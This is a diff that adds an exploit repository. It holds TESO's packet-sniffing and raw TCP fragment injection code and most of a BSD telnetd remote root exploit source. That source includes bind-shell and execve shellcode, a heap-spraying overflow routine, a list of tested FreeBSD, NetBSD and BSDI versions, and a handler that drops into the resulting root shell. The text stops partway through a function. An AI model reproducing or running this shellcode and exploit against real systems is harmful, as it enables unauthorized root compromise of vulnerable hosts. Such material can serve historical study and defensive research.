33 * and write if `pq_mutex' is hold. `next' points to the next pq_desc within
34 * this packet queue, hash is the hash id of the packet (TCP only), `p_data'
35 * is the actual packet data (at IP level)
36 */
37
38typedef struct pq_desc {
39 pthread_mutex_t pq_mutex; /* mutex over this structure */
40
41 struct pq_desc *next; /* pointer to the next packet in the queue */
42 struct timeval rcv_time; /* time when the packet was received */
43 unsigned long int p_len; /* overall packet length */
44
45 unsigned char *p_data; /* actual packet data, link layer stripped already */
46} pq_desc;
47
48
49/* pq_thread
50 *
51 * describe a) one packet processing thread (tid, semaphore)
52 * b) packet queue root pointer (linked list of pq_desc structs)
53 * c) stats for this queue
54 *
55 * if the sniffing thread has encountered a packet that it added to this
56 * packetizing queue, it will raise the `pq_active' :-)
57 */
58
59typedef struct pq_thread {
60 pthread_t pq_tid; /* thread ID */
61 sem_t pq_active; /* new packet semaphore, yeah =) */
62 pthread_mutex_t pq_mutex; /* mutex over this structure */
63
64 unsigned long int pq_count; /* number of packets processed in this queue */
65 unsigned long int pq_curcount; /* number of packets currently in this queue */
66 pq_desc *root; /* root pointer of the linked list in this queue (NULL for empty) */
67} pq_thread;
68
69void * pq_handle (pq_thread *pq);
70pq_thread * pq_create (void);
71void pq_destroy (pq_thread *pq);
72pq_desc * pq_get (pq_thread *pqt);
73void pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr,
74 unsigned char *pkt);
75int pq_add (unsigned char *p_data, unsigned long int p_size,
76 struct timeval *rcv_time, pq_thread *pqt);
77void pq_notify (pq_thread *pqt);
78void pq_remove (pq_thread *pqt);
79void pq_free (pq_desc *packet);
80int pq_filter (unsigned char *p_data, unsigned long p_size);
81void pq_offset (unsigned char *data, ip_hdr **ip, tcp_hdr **tcp,
82 unsigned char **tcp_data);
83
84#endif
85
diff --git a/exploits/7350855/0/readtest.c b/exploits/7350855/0/readtest.c
new file mode 100644
index 0000000..f1618e5
--- /dev/null
+++ b/exploits/7350855/0/readtest.c
@@ -0,0 +1,42 @@
1
2#include <stdio.h>
3#include <stdlib.h>
4#include <unistd.h>
5#include "network.h"
6
7
8int
9main (int argc, char *argv[])
10{
11 int cfd;
12 bound * rt;
13 int len;
14 unsigned char tbuf[8192];
15
16
17 rt = net_bind (NULL, 2000);
18 if (rt == NULL) {
19 perror ("net_bind");
20 exit (EXIT_FAILURE);
21 }
22
23 cfd = net_accept (rt->bs, NULL, 0);
24 if (cfd <= 0) {
25 perror ("net_accept");
26 exit (EXIT_FAILURE);
27 }
28
29 /* now deep down to the guts */
30 len = 1;
31 while (len > 0 && 1) {
32 len = read (cfd, tbuf, sizeof (tbuf));
33 printf ("%d\n", len);
34 }
35
36 close (cfd);
37 net_boundfree (rt);
38
39 exit (EXIT_SUCCESS);
40}
41
42
diff --git a/exploits/7350855/0/sniff.c b/exploits/7350855/0/sniff.c
new file mode 100644
index 0000000..b8ff924
--- /dev/null
+++ b/exploits/7350855/0/sniff.c
@@ -0,0 +1,323 @@
1/* zodiac - advanced dns spoofer
2 *
3 * sniffing functions
4 *
5 * by scut, smiler
6 *
7 */
8
9#include <sys/types.h>
10#include <sys/socket.h>
11#include <sys/ioctl.h>
12#include <net/if.h>
13#include <pcap.h>
14#include <pthread.h>
15#include <stdio.h>
16#include <stdlib.h>
17#include <string.h>
18#include "common.h"
19#include "packet.h"
20#include "sniff.h"
21
22
23extern struct in_addr localip;
24
25
26/* sniff_new
27 *
28 * the only function that should be called from outside. set up sniffing
29 * device, create a new thread, then return.
30 * open `interface' device for sniffing, tell sniffing thread to use
31 * `pq_size' packet queues, available through `pq_list'.
32 * store thread id of new thread in `tid'.
33 *
34 * return 0 if thread creation was successful
35 * return 1 if thread creation failed
36 */
37
38int
39sniff_new (pthread_t *tid, char *interface, pq_thread *pq_thd)
40{
41 int n; /* temporary return value */
42 sniff_info *sinfo; /* sniff information structure */
43
44 sinfo = xcalloc (1, sizeof (sniff_info));
45
46 /* open interface
47 */
48 sinfo->device = sniff_open (interface);
49 if (sinfo->device == NULL) {
50 free (sinfo);
51
52 return (1);
53 } else if (sinfo->device->error == 1) {
54 return (1);
55 }
56
57 if (sniff_dev_ip (interface, &localip) != 0) {
58 free (sinfo);
59
60 return (1);
61 }
62
63 /* store information into sinfo
64 */
65 sinfo->pq_thd = pq_thd;
66
67 /* and create our neat thread :)
68 */
69 n = pthread_create (tid, NULL, (void *) sniff_handle, (void *) sinfo);
70 if (n == -1) {
71 sniff_dev_free (sinfo->device);
72 free (sinfo);
73
74 return (1);
75 }
76 /* successfully created sniffer thread
77 */
78 return (0);
79}
80
81/* sniff_handle
82 *
83 * the main sniffing thread, fetching packets from the device, then calling
84 * the packet grinder `pq_grind' to process the packets
85 *
86 * should never return except on error or program exit
87 */
88
89void *
90sniff_handle (sniff_info *sinfo)
91{
92 int n; /* temporary return value */
93 pcap_handler grinder; /* pcap handler for the packet grinding function */
94
95
96 fprintf (stderr, "[855] hello world from sniffing thread\n");
97
98 /* sniff packets forever, until an error appears. pass incoming packets
99 * to `pq_grind'.
100 */
101
102 grinder = (pcap_handler) pq_grind;
103
104 /* loop packets to pq_grind until error, passing sinfo struct for queueing
105 */
106 n = pcap_loop (sinfo->device->pd, -1, grinder, (void *) sinfo);
107
108 /* on error print error message, then free the device and terminate the
109 * thread
110 */
111 if (n == -1) {
112 fprintf (stderr, "[855] sniff_handle (pcap_loop): %s\n",
113 pcap_geterr (sinfo->device->pd));
114 }
115
116 return (NULL);
117}
118
119
120/* sniff_filter
121 *
122 * install a filter `filter' on device `device', with netmask `netmask'
123 *
124 * return 0 on success
125 * return 1 on failure
126 */
127
128int
129sniff_filter (s_dev *device, char *filter, bpf_u_int32 netmask)
130{
131 int n; /* temporary return value */
132 struct bpf_program fprog; /* berkeley packet filter program structure */
133
134 n = pcap_compile (device->pd, &fprog, filter, 1, netmask);
135 if (n == -1) {
136 fprintf (stderr, "[855] sniff_filter (pcap_compile): "
137 "failed to compile bpf program\n");
138 return (1);
139 }
140
141 n = pcap_setfilter (device->pd, &fprog);
142 if (n == -1) {
143 fprintf (stderr, "[855] sniff_filter (pcap_setfilter): "
144 "failed to set bpf on %s\n", device->interface);
145 return (1);
146 }
147
148 return (0);
149}
150
151/* sniff_open
152 *
153 * open `dev' for sniffing, or just the first sniffable one, if
154 * dev is NULL.
155 *
156 * return NULL on failure
157 * return pointer sniffing device structure on success
158 * -smiler
159 * Added link layer header length detection.
160 */
161
162s_dev *
163sniff_open (char *devname)
164{
165 int n; /* temporary return value */
166 s_dev * device; /* sniffing device structure to create */
167 char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer for pcap message */
168
169 /* create new sniffing device structure in s_dev
170 */
171 device = xcalloc (1, sizeof (s_dev));
172
173 /* check wether to use the first device or a specified device
174 */
175 if (devname == NULL) {
176 /* due to lame pcap manpage, you should not know that it's static *doh* */
177 device->interface = pcap_lookupdev (errorbuf);
178 if (device->interface == NULL) {
179 fprintf (stderr, "[855] sniff_open (pcap_lookupdev): %s\n", errorbuf);
180 device->error = 1;
181
182 return (device);
183 }
184 } else {
185 /* if the interface we have to use is already known just copy it
186 */
187 device->interface = xstrdup (devname);
188 }
189
190 /* try to open the device found
191 */
192 device->pd = sniff_pcap_open (device->interface);
193 if (device->pd == NULL) {
194 device->error = 1;
195 return (device);
196 }
197
198 /* now query some information about the device and store them into our struct
199 */
200 n = pcap_lookupnet (device->interface, &device->localnet,
201 &device->netmask, errorbuf);
202 if (n == -1) {
203 device->error = 1;
204 return (device);
205 }
206
207 device->linktype = pcap_datalink (device->pd);
208 if (device->linktype == -1) {
209 device->error = 1;
210 return (device);
211 }
212
213 switch (device->linktype) {
214 /* not sure about all of these, but they work for me :\ -z */
215 case DLT_SLIP:
216 case DLT_PPP:
217 case DLT_NULL:
218 device->linkhdrlen = 4;
219 break;
220 case DLT_RAW:
221 device->linkhdrlen = 0;
222 break;
223 case DLT_EN10MB:
224 default:
225 device->linkhdrlen = 14;
226 break;
227 }
228 fprintf (stderr, "[855] sniff_open: linkhdrlen = %ld\n",
229 device->linkhdrlen);
230
231 /* thx random for figuring this putty ;)
232 */
233 sniff_filter (device, "", device->netmask);
234
235 return (device);
236}
237
238/* sniff_pcap_open
239 *
240 * securely wraps the pcap_open_live call to catch any errors
241 *
242 * return NULL on failure
243 * return capture descriptor on succes
244 */
245
246pcap_t *
247sniff_pcap_open (char *device)
248{
249 char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer */
250 pcap_t * pdes = NULL; /* packet capture descriptor */
251
252 pdes = pcap_open_live (device, SNAPLEN, /*PROMISC*/ 0, READ_TIMEOUT, errorbuf);
253
254 if (pdes == NULL) {
255 fprintf (stderr, "[855] sniff_pcap_open (pcap_open_live): %s\n",
256 errorbuf);
257
258 return (NULL);
259 }
260
261 return (pdes);
262}
263
264/* sniff_dev_free
265 *
266 * close and free a sniffing device
267 */
268
269void
270sniff_dev_free (s_dev *device)
271{
272 pcap_close (device->pd);
273 if (device->interface)
274 free (device->interface);
275
276 free (device);
277
278 return;
279}
280
281
282/* sniff_dev_ip
283 *
284 * get the ip given the name of a device.
285 * i /hope/ this is portable ;)
286 * -smiler 991001
287 *
288 * return 0 on success
289 * return -1 on failure
290 */
291
292int
293sniff_dev_ip (const char *dev, struct in_addr *ip)
294{
295 int ifsock,
296 i_cnt;
297 struct ifconf ifc;
298 struct ifreq *ifr;
299 char buf[1024];
300
301
302 ifsock = socket (AF_INET, SOCK_DGRAM, 0);
303 if (ifsock < 0)
304 return (-1);
305
306 ifc.ifc_len = sizeof (buf);
307 ifc.ifc_buf = buf;
308 if (ioctl (ifsock, SIOCGIFCONF, &ifc) < 0)
309 return (-1);
310
311 i_cnt = ifc.ifc_len / sizeof(struct ifreq);
312
313 for (ifr = ifc.ifc_req; i_cnt ; i_cnt--, ifr++) {
314 if (strcmp (dev, ifr->ifr_name) == 0) {
315 memcpy (ip, &((struct sockaddr_in *) &ifr->ifr_addr)->sin_addr,
316 sizeof (struct in_addr));
317
318 return (0);
319 }
320 }
321
322 return (-1);
323}
diff --git a/exploits/7350855/0/sniff.h b/exploits/7350855/0/sniff.h
new file mode 100644
index 0000000..5346d00
--- /dev/null
+++ b/exploits/7350855/0/sniff.h
@@ -0,0 +1,44 @@
1/* snifflib
2 *
3 * by scut
4 *
5 */
6
7#ifndef Z_SNIFF_H
8#define Z_SNIFF_H
9
10#include <pcap.h>
11#include "packet.h"
12
13#define SNAPLEN 65535
14#define PROMISC 1
15#define READ_TIMEOUT 0
16
17
18typedef struct s_dev {
19 int error; /* error flag */
20
21 pcap_t * pd; /* packet capture descriptor */
22 char * interface; /* interface name */
23 int linktype; /* link layer type */
24 unsigned long int linkhdrlen; /* length of the link layer frame header */
25 bpf_u_int32 localnet; /* local network address */
26 bpf_u_int32 netmask; /* netmask of local network */
27} s_dev;
28
29
30typedef struct sniff_info {
31 s_dev * device; /* device structure of the sniffing device */
32 pq_thread * pq_thd; /* packet queue list root pointer */
33} sniff_info;
34
35
36int sniff_new (pthread_t *tid, char *interface, pq_thread *pq_thd);
37void * sniff_handle (sniff_info *sinfo);
38s_dev * sniff_open (char *devname);
39pcap_t * sniff_pcap_open (char *device);
40void sniff_dev_free (s_dev *device);
41int sniff_dev_ip (const char *dev, struct in_addr *ip);
42
43#endif
44
diff --git a/exploits/7350855/7350855 b/exploits/7350855/7350855
new file mode 100644
index 0000000..9cbe420
--- /dev/null
+++ b/exploits/7350855/7350855
Binary files differ
diff --git a/exploits/7350855/7350855-bumped.tar.gz b/exploits/7350855/7350855-bumped.tar.gz
new file mode 100644
index 0000000..38d8d01
--- /dev/null
+++ b/exploits/7350855/7350855-bumped.tar.gz
Binary files differ
diff --git a/exploits/7350855/7350855.c b/exploits/7350855/7350855.c
new file mode 100644
index 0000000..23f5627
--- /dev/null
+++ b/exploits/7350855/7350855.c
@@ -0,0 +1,293 @@
1
2
3#include <stdio.h>
4#include <stdlib.h>
5#include <unistd.h>
6#include <libnet.h>
7#include "packet.h"
8#include "sniff.h"
9#include "network.h"
10
11
12extern pthread_mutex_t watch_mutex;
13extern int watch;
14extern struct in_addr watch_ipsrc,
15 watch_ipdst;
16extern unsigned short int watch_sport,
17 watch_dport;
18extern unsigned long int watch_src_seq,
19 watch_dst_seq;
20extern unsigned long int watch_src_ack,
21 watch_dst_ack;
22
23/* globals
24 */
25char * target = "127.0.0.1";
26unsigned int target_port = 2000;
27char * interface = "eth0";
28
29pq_thread * pmain;
30pthread_t sniff_t;
31
32/* prototypes
33 */
34void witch_write (unsigned char *data, unsigned long int data_len,
35 unsigned short int frag_size);
36int watch_connect (char *host, unsigned short int port);
37void watch_enable (void);
38void watch_disable (void);
39
40
41void
42usage (char *progfile)
43{
44 fprintf (stderr, "usage: %s [-t target] [-i interface]\n\n", progfile);
45
46 exit (EXIT_FAILURE);
47}
48
49
50int
51main (int argc, char *argv[])
52{
53 int n;
54 int net;
55 char c;
56
57 int scount = 5;
58 unsigned char tbuf[8192];
59
60
61 while ((c = getopt (argc, argv, "p:t:i:")) != EOF) {
62 switch (c) {
63 case 'p':
64 target_port = atoi (optarg);
65 break;
66 case 't':
67 target = optarg;
68 break;
69 case 'i':
70 interface = optarg;
71 break;
72 default:
73 usage (argv[0]);
74 }
75 }
76
77 srandom (time (NULL));
78
79 net = watch_connect (target, target_port);
80 watch_enable ();
81
82 while (scount-- > 0) {
83 write (net, "\xff\xfc", 2);
84 sleep (1);
85 }
86
87 memset (tbuf, 'A', sizeof (tbuf));
88 tbuf[sizeof (tbuf) - 1] = '\0';
89 for (n = 0 ; n < sizeof (tbuf) ; ++n)
90 tbuf[n] = n % 2 ? '\xff' : '\xfc';
91
92 witch_write (tbuf, sizeof (tbuf), 768);
93// witch_write (tbuf, 1200, 512);
94
95 fprintf (stderr, "send\n");
96
97 sleep (20);
98 close (net);
99
100 exit (EXIT_SUCCESS);
101}
102
103
104/* will write the data in one big tcp fragment. then tear down the connection,
105 * since it would get fucked over by the local host anyway (which does not
106 * know about the packets we send). idea by dvorak btw
107 */
108
109void
110witch_write (unsigned char *data, unsigned long int data_len,
111 unsigned short int frag_size)
112{
113 int frag_no;
114 unsigned short int frag_ofs;
115
116 unsigned long int this_len; /* this fragments length */
117 unsigned char tcpbuf[65536];
118 unsigned char pbuf[2048]; /* packet buffer */
119
120 unsigned char * tp;
121 unsigned long int tp_len;
122 unsigned short int tp_id = random () & 0xffff;
123
124 int rawsock,
125 rawlen;
126
127
128 /* first, disable tcp parsing, to not confuse it */
129 watch_disable ();
130
131 memset (tcpbuf, '\0', sizeof (tcpbuf));
132 if ((data_len > (sizeof (tcpbuf) - TCP_H - IP_H)) ||
133 frag_size > (sizeof (pbuf) - IP_H))
134 {
135 fprintf (stderr, "packet size exceeded\n");
136 exit (EXIT_FAILURE);
137 }
138
139 /* XXX/FIXME: watch_dst_seq is used, but it should be
140 * watch_dst_seq + length-of-last-send-packet-by-target-host
141 * XXX: so it only works if the last packet by the target was a simple
142 * no-data packet
143 */
144 libnet_build_tcp (watch_sport, watch_dport,
145 watch_dst_ack, /* ack # is next seq # */
146 watch_dst_seq, /* acknowledge what it send (hopefully nothing) */
147 TH_ACK | TH_FIN | TH_PUSH,
148 16384, /* window size */
149 0, /* no urgent data */
150 data,
151 data_len,
152 tcpbuf + IP_H);
153
154 libnet_build_ip (data_len + TCP_H, /* length w/o header */
155 0,
156 tp_id,
157 0,
158 128, /* TTL */
159 IPPROTO_TCP, /* enclosed payload */
160 watch_ipsrc.s_addr,
161 watch_ipdst.s_addr,
162 tcpbuf + IP_H,
163 data_len + TCP_H,
164 tcpbuf);
165
166 /* calculate checksum and slide buffer so we only have the proper
167 * tcp packet left
168 */
169 libnet_do_checksum (tcpbuf, IPPROTO_TCP, TCP_H + data_len);
170 memmove (tcpbuf, tcpbuf + IP_H, TCP_H + data_len);
171
172 tp = tcpbuf;
173 tp_len = TCP_H + data_len;
174
175 frag_size &= ~0x03; /* align downwards on an 8 byte boundary */
176 frag_no = 0;
177 frag_ofs = 0;
178
179 /* write it out
180 */
181 rawsock = libnet_open_raw_sock (IPPROTO_RAW);
182 if (rawsock == -1) {
183 perror ("libnet_open_raw_sock");
184
185 exit (EXIT_FAILURE);
186 }
187
188 while (tp_len > 0) {
189 this_len = frag_size < tp_len ? frag_size : tp_len;
190 tp_len -= this_len;
191
192 memset (pbuf, '\0', sizeof (pbuf));
193
194 /* construct one fragment
195 */
196 libnet_build_ip (this_len, /* length w/o header */
197 0, /* no special TOS */
198 tp_id, /* random ID */
199 (tp_len > 0 ? IP_MF : 0) | /* more fragments to come ? */
200 ((frag_ofs >> 3) & IP_OFFMASK), /* fragmentation offset */
201 128, /* TTL */
202 IPPROTO_TCP, /* enclosed payload */
203 watch_ipsrc.s_addr,
204 watch_ipdst.s_addr,
205 tp, this_len,
206 pbuf);
207
208 libnet_do_checksum (pbuf, IPPROTO_IP, IP_H);
209
210
211 rawlen = libnet_write_ip (rawsock, pbuf, IP_H + this_len);
212 if (rawlen != IP_H + this_len) {
213 perror ("libnet_write_ip");
214
215 exit (EXIT_FAILURE);
216 }
217
218 /* sleep to let the packet reach its target
219 */
220 fprintf (stderr, "%2d: 0x%04hx (%5lu) - %5lu left\n", frag_no,
221 frag_ofs, this_len, tp_len);
222 usleep (500000);
223
224 /* align for next fragment
225 */
226 tp += this_len;
227 frag_no += 1;
228 frag_ofs += this_len;
229 }
230
231 close (rawsock);
232}
233
234
235void
236watch_enable (void)
237{
238 pthread_mutex_lock (&watch_mutex);
239 watch = 1;
240 pthread_mutex_unlock (&watch_mutex);
241}
242
243
244void
245watch_disable (void)
246{
247 pthread_mutex_lock (&watch_mutex);
248 watch = 0;
249 pthread_mutex_unlock (&watch_mutex);
250}
251
252
253int
254watch_connect (char *host, unsigned short int port)
255{
256 int sock;
257 char * ip_pr;
258
259
260 sock = net_connect (NULL, host, port, NULL, 0, 20);
261
262 pthread_mutex_lock (&watch_mutex);
263 if (net_addrpair (sock , &watch_ipsrc, &watch_sport,
264 &watch_ipdst, &watch_dport))
265 {
266 perror ("address pair on connection");
267
268 exit (EXIT_FAILURE);
269 }
270 pthread_mutex_unlock (&watch_mutex);
271
272 net_printipa (&watch_ipsrc, &ip_pr);
273 printf ("%s:%hu <-> ", ip_pr, watch_sport);
274 free (ip_pr);
275 net_printipa (&watch_ipdst, &ip_pr);
276 printf ("%s:%hu\n", ip_pr, watch_dport);
277 free (ip_pr);
278
279 pmain = pq_create ();
280 if (pmain == NULL) {
281 fprintf (stderr, "failed to create packetizer thread\n");
282 exit (EXIT_FAILURE);
283 }
284
285 if (sniff_new (&sniff_t, interface, pmain)) {
286 fprintf (stderr, "failed to create sniffing thread\n");
287 exit (EXIT_FAILURE);
288 }
289
290 return (sock);
291}
292
293
diff --git a/exploits/7350855/7350855_exploit.c b/exploits/7350855/7350855_exploit.c
new file mode 100644
index 0000000..95dd740
--- /dev/null
+++ b/exploits/7350855/7350855_exploit.c
@@ -0,0 +1,877 @@
1/* 7350854 - x86/bsd telnetd remote root exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * (C) COPYRIGHT TESO Security, 2001
14 * All Rights Reserved
15 *
16 *****************************************************************************
17 * bug found by scut 2001/06/09
18 * further research by smiler, zip, lorian and me.
19 * thanks to zip's cool friend for giving me a testbed to play on
20 *
21 * tested against: BSDI BSD/OS 4.1
22 * NetBSD 1.5
23 * FreeBSD 3.1
24 * FreeBSD 4.0-REL
25 * FreeBSD 4.2-REL
26 * FreeBSD 4.3-BETA
27 * FreeBSD 4.3-STABLE
28 * FreeBSD 4.3-RELEASE
29 *
30 */
31
32#define VERSION "0.0.7"
33
34#include <sys/types.h>
35#include <sys/time.h>
36#include <sys/socket.h>
37#include <netinet/in.h>
38#include <arpa/inet.h>
39#include <arpa/telnet.h>
40#include <netdb.h>
41#include <errno.h>
42#include <fcntl.h>
43#include <unistd.h>
44#include <stdio.h>
45#include <stdlib.h>
46#include <string.h>
47#include <time.h>
48
49
50/* global variables, uhhohh!
51 */
52int mode = 16;
53int num = 245;
54int pop = 31500; /* puts code at 0x08fdff0a */
55int bs = 1; /* buffer start */
56
57int num34 = 244;
58int pop34 = 71833; /* puts code at 0x0a0d08fe */
59int bs34 = 0;
60
61int walk; /* populator walker */
62int force = 0; /* force exploitation */
63int checkonly = 0; /* check telnetd only */
64
65
66void usage (char *progname);
67int xp_check (int fd);
68void xp_pop (int fd);
69void xp_shrinkwin (int fd);
70void xp_setenv (int fd, unsigned char *var, unsigned char *val);
71void xp (int fd);
72void shell (int sock);
73void hexdump (char *desc, unsigned char *data, unsigned int amount);
74
75/* imported from shellkit */
76unsigned long int random_get (unsigned long int low, unsigned long int high);
77void random_init (void);
78int bad (unsigned char u);
79int badstr (unsigned char *code, int code_len, unsigned char *bad,
80 int bad_len);
81unsigned long int x86_nop_rwreg (void);
82unsigned long int x86_nop_xfer (char *xferstr);
83unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
84 unsigned char *bad, int bad_len);
85
86#define BSET(dest, len, val, bw) { \
87 dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \
88 dest |= val << (8 - bw - len); /* set value bits */ \
89 bw += len; \
90}
91
92/* imported from network.c */
93#define NET_CONNTIMEOUT 60
94int net_conntimeout = NET_CONNTIMEOUT;
95
96unsigned long int net_resolve (char *host);
97int net_connect (struct sockaddr_in *cs, char *server,
98 unsigned short int port, int sec);
99
100
101/* x86/bsd PIC portshell shellcode
102 * by lorian/teso
103 * port 0x4444 (might want to change it here)
104 */
105unsigned char x86_bsd_portshell[] =
106 "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
107 "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
108 /* ^^ ^^ port */
109 "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
110 "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
111 "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
112 "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
113 "\x80";
114
115/* x86/bsd PIC execve shellcode
116 * by lorian/teso
117 */
118unsigned char x86_bsd_execvesh[] =
119 "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
120 "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";
121
122/* x86/bsd(i)+solaris execve shellcode
123 * by lorian/teso
124 */
125unsigned char x86_bsd_compaexec[] =
126 "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
127 "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
128 "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
129 "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";
130
131
132unsigned char * shellcode = x86_bsd_compaexec;
133
134
135#define COL 55
136
137
138void
139usage (char *progname)
140{
141 fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
142 fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
143 "-c\tcheck exploitability only, do not exploit\n"
144 "-f\tforce mode, override check results\n\n");
145 fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
146 "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
147 "take that, or it will take very long for it (> 1h). beware.\n\n");
148
149 fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
150 "\tNetBSD 1.5\n"
151 "\tBSDI BSD/OS 4.1\n\n");
152
153 exit (EXIT_FAILURE);
154}
155
156int
157main (int argc, char *argv[])
158{
159 char c;
160 char * progname;
161 char * dest;
162 int i, j, fd,
163 dots = 0;
164 int popc;
165 struct timeval start,
166 cur;
167 unsigned long long int g_pct, /* gaussian percentage */
168 g_all; /* gaussian overall */
169
170
171 fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
172 "by zip, lorian, smiler and scut.\n\n");
173
174 progname = argv[0];
175 if (argc < 2)
176 usage (progname);
177
178
179 while ((c = getopt (argc, argv, "n:cf")) != EOF) {
180 switch (c) {
181 case 'n':
182 num = atoi (optarg);
183 break;
184 case 'c':
185 checkonly = 1;
186 break;
187 case 'f':
188 force = 1;
189 break;
190 default:
191 usage (progname);
192 break;
193 }
194 }
195
196 dest = argv[argc - 1];
197 if (dest[0] == '-')
198 usage (progname);
199
200 fd = net_connect (NULL, dest, 23, 20);
201 if (fd <= 0) {
202 fprintf (stderr, "failed to connect\n");
203 exit (EXIT_FAILURE);
204 }
205
206 random_init ();
207
208 if (xp_check (fd) == 0 && force == 0) {
209 printf ("aborting\n");
210#ifndef DEBUG
211 exit (EXIT_FAILURE);
212#endif
213 }
214 close (fd);
215
216 if (checkonly)
217 exit (EXIT_SUCCESS);
218
219 fd = net_connect (NULL, dest, 23, 20);
220 if (fd <= 0) {
221 fprintf (stderr, "failed to connect the second time\n");
222 exit (EXIT_FAILURE);
223 }
224
225 printf ("\n#############################################################################\n\n");
226 printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
227 "telnet daemon process, it will spill badly. but then, there is no\n"
228 "other way, sorry...\n\n", mode);
229
230#ifdef DEBUG
231 getchar ();
232#endif
233 printf ("## setting populators to populate heap address space\n");
234
235 g_all = ((unsigned long long int)(pop / 2)) *
236 ((unsigned long long int)(pop + 1));
237 g_pct = 0;
238
239 printf ("## number of setenvs (dots / network): %d\n", pop);
240 printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
241 printf ("##\n");
242 printf ("## the percentage is more realistic than the dots ;)\n");
243 printf ("\n");
244 printf ("percent |");
245
246 popc = pop / COL;
247 for (i = pop / popc ; i >= 0 ; --i)
248 printf ("-");
249 printf ("| ETA |\n");
250
251 gettimeofday (&start, NULL);
252
253 for (walk = 0 ; walk < pop ; ++walk) {
254 xp_pop (fd);
255
256 g_pct += walk;
257
258 if (walk % popc == 0)
259 dots += 1;
260
261 if (walk % 200 == 0) {
262 int pct;
263 float pct_f;
264 unsigned long int diff;
265
266 pct = (int) ((g_pct * 100) / g_all);
267 pct_f = g_pct * 100;
268 pct_f /= (float) g_all;
269
270 /* calculate difference not caring about accuracy */
271 gettimeofday (&cur, NULL);
272 diff = cur.tv_sec - start.tv_sec;
273
274 printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
275 "\r %2.2f%% |" : "\r %1.2f%% |"), pct_f);
276 for (j = 0 ; j < dots ; ++j)
277 printf (".");
278 for ( ; j <= COL ; ++j)
279 printf (" ");
280
281 if (pct != 0) {
282 diff = (int) ((((float)(100 - pct_f)) /
283 (float) pct_f) * diff);
284 printf ("| %02lu:%02lu:%02lu |",
285 diff / 3600, (diff % 3600) / 60,
286 diff % 60);
287 } else {
288 printf ("| --:--:-- |");
289 }
290
291 fflush (stdout);
292 }
293 }
294 printf ("\n\n");
295
296 printf ("## sleeping for 10 seconds to let the process recover\n");
297 sleep (10);
298
299#ifdef DEBUG
300 getchar ();
301#endif
302 /* return into 0x08feff0a */
303 xp (fd);
304 sleep (1);
305
306 printf ("## ok, you should now have a root shell\n");
307 printf ("## as always, after hard times, there is a reward...\n");
308 printf ("\n\ncommand: ");
309 fflush (stdout);
310
311 shell (fd);
312
313 exit (EXIT_SUCCESS);
314}
315
316
317void
318xp (int fd)
319{
320 int n;
321 unsigned char buf[2048];
322
323
324 /* basic overflow */
325 for (n = bs ; n < sizeof (buf) ; ++n)
326 buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';
327
328 /* some nifty alignment */
329 buf[0] = '\xff'; /* IAC */
330 buf[1] = '\xf5'; /* AO */
331
332 if (mode == 16) {
333 buf[2] = '\xff'; /* IAC */
334 buf[3] = '\xfb'; /* WILL */
335 buf[4] = '\x26'; /* ENCRYPTION */
336 }
337
338 /* force 0x08feff0a as return */
339 buf[num++] = '\xff';
340 buf[num++] = '\xfb';
341 buf[num++] = '\x08';
342
343 /* and the output_encrypt overwrite action, yay! */
344 buf[num++] = '\xff';
345 buf[num++] = '\xf6';
346
347 /* XXX: should not fail here, though we should better loop and check */
348 n = send (fd, buf, num, 0);
349 if (n != num) {
350 perror ("xp:send");
351 }
352}
353
354
355#ifdef INSANE_MIND
356
357void
358xp_shrinkwin (int fd)
359{
360 int n;
361 int iobc;
362 int p = 0;
363 unsigned char buf[2048];
364 char c;
365 int val;
366 int len;
367
368 for (n = 0 ; n < sizeof (buf) ; ++n)
369 buf[n] = n % 2 ? '\xf6' : '\xff';
370
371 len = sizeof (val);
372 getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
373 printf ("SO_SNDLOWAT = %d\n", val);
374 val = 1;
375 printf ("setsockopt: %s\n",
376 setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
377 "FAILED" : "SUCCESS");
378 val = 1234;
379 getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
380 printf ("SO_SNDLOWAT = %d\n", val);
381
382 getchar();
383 while (1) {
384 if (p > 105)
385 c = getchar();
386 if (c == 'r') {
387 getchar();
388 read (fd, &buf[1024], 384);
389 } else if (c == 'o') {
390 getchar();
391 send (fd, "7", 1, MSG_OOB);
